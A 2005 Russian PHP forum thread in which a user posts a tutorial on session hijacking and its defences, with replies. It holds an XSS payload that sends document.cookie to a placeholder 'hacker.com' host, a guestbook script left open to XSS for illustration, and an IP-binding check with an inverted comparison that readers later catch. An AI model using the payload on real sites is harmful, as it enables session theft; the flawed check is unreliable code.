Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5. На примерах. Авторы: Кузнецов М.В., Симдянов И.В., Голышев С.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Разное

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Безопасное программирование на PHP. Кража сессии.
 
 автор: Sin   (10.02.2005 в 19:54)   письмо автору
 
 

Статья
В современном web-программирование почти все время используется такое понятие как сессия для разграничения доступа для разных пользователей.
Рассмотрим типичный процесс авторизации с использованием сессии.
1. У пользователя спрашивается логин и пароль.
2. Если авторизация проходит успешно, то создается новая сессия, со значением «успешной авторизацией» :)
3. Пользователю выдается уникальный идентификатор, который заранее не возможно предсказать, а значит и подобрать :).
4. SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены)
Т.е. при запуске какого-то скрипта на сайте, он имеет возможность загрузить те или иные сведения авторизации из массива $_SESSION, если авторизация успешна, то скрипт может предоставить некий ресурс, например вход на панель администрирования сайта.
Проблема заключается в том, что если злоумышленник узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера, т.е. притворится другим человеком :).
Но как же хакер узнает чужой SID?
Существуют два самых распространенных варианта:
1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.
 http://forum.dklab.ru/?sid=01c1739de76ed46e639cd23d33698121
. Зайдя по этому адресу, хакер «автоматически» становится
пользователем, владеющим сессией с идентификатором
01c1739de76ed46e639cd23d33698121.
Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому хакеру нужно поторопиться .
2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У хакера все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.

<!--- тут чего-то -->
<form action=addmsg.php method=post>
Текст:<br>
<textarea name="text"></textarea><br>
<input type="submit" value="Добавить">
</form>

Addmsg.php

<?php
If(!empty($_POST[‘text’]))
{
    
$line str_replace("/\r?\n/s"" "$_POST['text']);
    
//запись в базу или в фаил
}
Else
{
    Exit(
«Ошибка»)
}
?>

Обратите внимание что в скрипте явно пропущен вызов функции htmlspecialchars(), которая превращает символы < в &lt; и > в &gt; в результате злоумышленник может вставить в текст любые html теги, в том числе и javascript, в часности.

<script>window.open("http://hacker.com/get.php?"+document.cookie, 'new')
</script>

И что мы получаем, маленькую оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая загружает в новом окне страницу хакера передавая ей значения из cookies).
Таким образом, получается что уязвимость одного вида открыла целую дыру для кражи SID.
Для борьбы с уязвимостями в защите лучше всего бороться
«устойчивыми» методами. Один из примеров «устойчивого» прие-
ма – тезис "запрещено все, что явно не разрешено"
В случае кражи SID дело обстоит примерно также, можно скрыть SID и бороться с огрехами в html, однако все равно ошибка выплывет. Не тем так другим способом.
Но существует так называемый метод привязки SID к IP адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB
Скрипт авторизации

<?php
if (логин и пароль верные) {
$_SESSION['authorized'] = true;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
?>

Скрипт, который дает доступ к определенному ресурсу

<?php
if (!empty($_SESSION['authorized']) && $_SESSION['ip'] != $_SERVER
['REMOTE_ADDR']) {
// Доступ к ресурсу открыт.
} else die("Доступ закрыт."); ?>

Т.е. теперь с данной сессией может работать только тот пользователь, IP которого совпадает с IP при авторизации. И если хакер перехватит сессию, IP та у него другой :) и поэтому не пройдет авторизацию.
Но в каждом правиле есть свои исключения, и данный метод не исключение.
1. А если пользователь выходит в Интернет через общий прокси-сервер, то они будут иметь один общий IP (такое характерно для сетей университетов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
2. Если выход пользователя происходит через модем, и произойдет обрыв связи, то после восстановления связи ему скорей всего дадут другой IP. Что откинет его к категории «хакер»
Последний недостаток имеет место на форумах, где люди любят долго набирать информации, находясь в offline. Т.е. он при новом подсоединение к сети потеряет всю набранную информацию. Выход: (вернее полу выход) Проверять на идентичность только первые 3 цифры IP адреса, это по-прежнему делает кражу SID статистически маловероятным, однако в большинстве случаев, позволяет более мягко отнестись к разрыву соединения.


P.S. отредактируйте пожайлуста что не так, и можно публиковать :).
автор: Лободенко Д.И.

   
 
 автор: Artemy   (10.02.2005 в 21:31)   письмо автору
 
   для: Sin   (10.02.2005 в 19:54)
 

Очень интересно, как раз тут доделал скрипт авторизации с использованием сессий, эта статья была вовремя прочитана!
Большое спасибо за неё!

   
 
 автор: cheops   (10.02.2005 в 22:21)   письмо автору
 
   для: Sin   (10.02.2005 в 19:54)
 

Хм... здорово - постараюсь сегодня опубликовать.

   
 
 автор: cheops   (11.02.2005 в 00:44)   письмо автору
 
   для: cheops   (10.02.2005 в 22:21)
 

Посмотрите, плиз, на предмет опечаток и неточностей...

http://www.softtime.ru/info/articlephp.php?id_article=36

   
 
 автор: Artem S.   (11.02.2005 в 06:02)   письмо автору
 
   для: Sin   (10.02.2005 в 19:54)
 

Мне тоже понравилось.
Если можно, то я хотел бы добавить немного от себя =)
Еще одним способом завладеть id сессией - это ссылка на сайт злоумышленника. То есть все, что ему надо это обрезать нужный кусок в $_SERVER['HTTP_REFERER']
Поэтому в чатах и подобных приложениях вместо прямого перехода по ссылке, сначала перенаправляют на свою станицу для редиректа, где и уничтожают (изменяют) id сессии.

Вот такое небольшое дополнение. На авторство не претендую =)

   
 
 автор: Sin   (11.02.2005 в 07:18)   письмо автору
 
   для: Artem S.   (11.02.2005 в 06:02)
 

Все класно :) Я рад что вам понравилась моя статья. Насчет ниточностей - все нормально, спасибо за коректные исправлния (просто у меня язык кривой :0) ).
Вот только маленькая опечатка в предпоследнем обзаце:
(он будет огульно зачислен в ряды злоумышленников (поэтому писать писать угрозы и призывы )

   
 
 автор: localGhost   (11.02.2005 в 08:05)   письмо автору
 
   для: Sin   (11.02.2005 в 07:18)
 

а если в качестве защиты допустим использовать дополнительную проверку:
допустим, есть значение SID, оно храниться в куке, мы берем это значение, с помощью уникального ключа шифруем его, и тоже записываем в куку допустим или в сессию, потом при входе на следущую страницу берем это значение, расшифровываем и сравниваем, если равно - пускаем дальше, если неравно - yf[eq с пляжа......
это так, в сыром варианте.....

   
 
 автор: antf   (11.02.2005 в 21:05)   письмо автору
 
   для: Sin   (10.02.2005 в 19:54)
 

Очень интересная и полезная статья. Хочу сказать спасибо автору.
PS Нет ли логической ошибки в этой строчке кода (последний блок):
$_SESSION['ip'] != $_SERVER ['REMOTE_ADDR']

По-моему надо так или я что-то не понимаю.
$_SESSION['ip'] == $_SERVER ['REMOTE_ADDR']

   
 
 автор: Artemy   (11.02.2005 в 21:14)   письмо автору
 
   для: antf   (11.02.2005 в 21:05)
 

Меня этот кусочек тоже в сомнение ввел!!!

   
 
 автор: Sin   (12.02.2005 в 16:42)   письмо автору
 
   для: Artemy   (11.02.2005 в 21:14)
 

Спасибо что заметили, да действительно ошибка :(

   
 
 автор: cheops   (12.02.2005 в 18:21)   письмо автору
 
   для: Sin   (12.02.2005 в 16:42)
 

поправлено.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования